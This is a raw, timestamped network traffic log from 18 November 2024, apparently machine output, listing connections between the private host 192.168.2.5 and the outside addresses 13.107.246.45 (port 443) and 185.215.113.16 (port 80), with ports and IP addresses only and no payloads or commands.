Nov 18, 2024 20:21:30.598046064 CET	443	49750	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.598061085 CET	443	49750	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.600482941 CET	49755	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.600528955 CET	443	49755	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.600594044 CET	443	49751	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.600610971 CET	49755	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.600764990 CET	49755	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.600771904 CET	443	49755	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.601517916 CET	443	49751	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.601613045 CET	49751	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.601613045 CET	49751	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.601728916 CET	49751	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.601766109 CET	443	49751	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.602628946 CET	443	49753	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.603259087 CET	443	49753	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.603338957 CET	49753	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.603832006 CET	49756	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.603873968 CET	443	49756	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.603941917 CET	49756	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.604044914 CET	49756	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.604057074 CET	443	49756	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.604079008 CET	49753	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.604095936 CET	443	49753	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.604108095 CET	49753	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.604111910 CET	443	49753	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.605916977 CET	49757	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.605957985 CET	443	49757	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.606031895 CET	49757	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.606158018 CET	49757	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.606172085 CET	443	49757	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.606802940 CET	443	49752	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.606899023 CET	443	49752	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.607108116 CET	49752	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.607109070 CET	49752	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.607109070 CET	49752	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.608908892 CET	49758	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.608923912 CET	443	49758	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.608993053 CET	49758	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.609143019 CET	49758	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.609157085 CET	443	49758	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:30.620064020 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.620081902 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.620141983 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.654975891 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.655076981 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.655205965 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.655258894 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.655294895 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.655380964 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.655435085 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.655471087 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.655507088 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.655548096 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.655581951 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.655622005 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.655636072 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.655724049 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.656122923 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.656157970 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.656193018 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.656200886 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.656272888 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.656456947 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.656491041 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.656527042 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.656548023 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.697061062 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.769027948 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.770066977 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.770162106 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.776001930 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.776019096 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.776031017 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.776041985 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.776056051 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.776067972 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.776108027 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.776459932 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.776482105 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.776493073 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.776503086 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.776526928 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.776617050 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.776628017 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.776638985 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.776665926 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.776844978 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.776856899 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.776868105 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.776878119 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.776889086 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.776890993 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.776911974 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.776926994 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.859899044 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.859944105 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:30.860073090 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:30.915786982 CET	49752	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:30.915834904 CET	443	49752	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.020633936 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.020812988 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.020832062 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.020845890 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.020862103 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.020872116 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.020879984 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.020889997 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.020896912 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.020899057 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.020906925 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.020912886 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.020920038 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.020937920 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.020976067 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.021604061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.021615028 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.021625996 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.021647930 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.021673918 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.021673918 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.021686077 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.021697044 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.021708965 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.021719933 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.021742105 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.022582054 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.071962118 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.140790939 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.140820980 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.140847921 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.140871048 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.140949011 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.140969038 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.140985966 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.140989065 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.141010046 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.141020060 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.141030073 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.141073942 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.141160011 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.141298056 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.141316891 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.141356945 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.141387939 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.141407967 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.141422987 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.141427040 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.141463041 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.141794920 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.141819000 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.141830921 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.141840935 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.141861916 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.141866922 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.141886950 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.141891003 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.141925097 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.142447948 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.142457962 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.142501116 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.262492895 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.262509108 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.262518883 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.262523890 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.262615919 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.262650013 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.262664080 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.262674093 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.262685061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.262691021 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.262743950 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.262855053 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.262867928 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.262877941 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.262888908 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.262893915 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.262900114 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.262911081 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.262922049 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.262922049 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.262933016 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.262940884 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.262979031 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.263216972 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.263227940 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.263243914 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.263264894 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.306371927 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.333528042 CET	443	49754	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.334297895 CET	49754	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.334326982 CET	443	49754	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.334778070 CET	49754	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.334803104 CET	443	49754	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.382623911 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.382644892 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.382654905 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.382663965 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.382675886 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.382684946 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.382778883 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.382817030 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.382921934 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.382932901 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.382942915 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.382953882 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.382966995 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.382980108 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.383407116 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.383419991 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.383430958 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.383467913 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.383557081 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.383569002 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.383579016 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.383589983 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.383596897 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.383620977 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.383968115 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.384016037 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.384191990 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.384205103 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.384215117 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.384227037 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.384233952 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.384377956 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.387830019 CET	443	49756	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.388381958 CET	443	49758	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.388578892 CET	49756	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.388619900 CET	443	49756	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.388865948 CET	49758	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.388876915 CET	443	49758	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.389049053 CET	49756	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.389054060 CET	443	49756	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.389714003 CET	49758	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.389719963 CET	443	49758	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.390597105 CET	443	49755	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.390815973 CET	443	49757	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.391149998 CET	49755	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.391166925 CET	443	49755	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.391174078 CET	49757	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.391196012 CET	443	49757	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.391571999 CET	49757	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.391577005 CET	443	49757	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.391978025 CET	49755	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.391983986 CET	443	49755	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.467713118 CET	443	49754	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.467850924 CET	443	49754	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.467921019 CET	49754	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.468071938 CET	49754	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.468108892 CET	443	49754	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.468137026 CET	49754	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.468152046 CET	443	49754	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.471374989 CET	49759	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.471440077 CET	443	49759	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.471532106 CET	49759	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.471751928 CET	49759	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.471770048 CET	443	49759	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.502696037 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.502734900 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.502748966 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.502871990 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.502929926 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.502953053 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.502964973 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.502976894 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.502980947 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.502990007 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.503001928 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.503024101 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.503062010 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.503354073 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.503372908 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.503384113 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.503400087 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.503412962 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.503423929 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.503480911 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.503681898 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.503695011 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.503707886 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.503731966 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.503918886 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.503938913 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.503948927 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.503959894 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.503968954 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.503973007 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.503987074 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.504046917 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.504434109 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.504446983 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.504457951 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.504483938 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.519366026 CET	443	49756	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.519500017 CET	443	49756	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.519589901 CET	49756	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.522950888 CET	443	49757	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.523037910 CET	443	49757	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.523096085 CET	49757	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.523407936 CET	443	49755	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.523686886 CET	443	49755	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.523749113 CET	49755	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.530098915 CET	443	49758	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.530456066 CET	443	49758	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.530518055 CET	49758	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.542964935 CET	49756	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.542996883 CET	443	49756	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.543015003 CET	49756	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.543024063 CET	443	49756	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.543823004 CET	49758	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.543829918 CET	443	49758	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.543848991 CET	49758	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.543853998 CET	443	49758	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.545042038 CET	49757	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.545073986 CET	443	49757	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.545099020 CET	49757	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.545110941 CET	443	49757	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.545824051 CET	49755	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.545852900 CET	443	49755	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.545866013 CET	49755	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.545871973 CET	443	49755	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.549599886 CET	49760	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.549643993 CET	443	49760	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.549757004 CET	49760	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.550018072 CET	49761	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.550029039 CET	49760	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.550045013 CET	443	49760	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.550055981 CET	443	49761	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.550122023 CET	49761	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.550425053 CET	49761	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.550436020 CET	443	49761	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.550498962 CET	49762	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.550518036 CET	443	49762	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.550600052 CET	49762	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.550750971 CET	49762	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.550764084 CET	443	49762	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.551011086 CET	49763	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.551018953 CET	443	49763	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.551084042 CET	49763	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:31.551193953 CET	49763	443	192.168.2.5	13.107.246.45
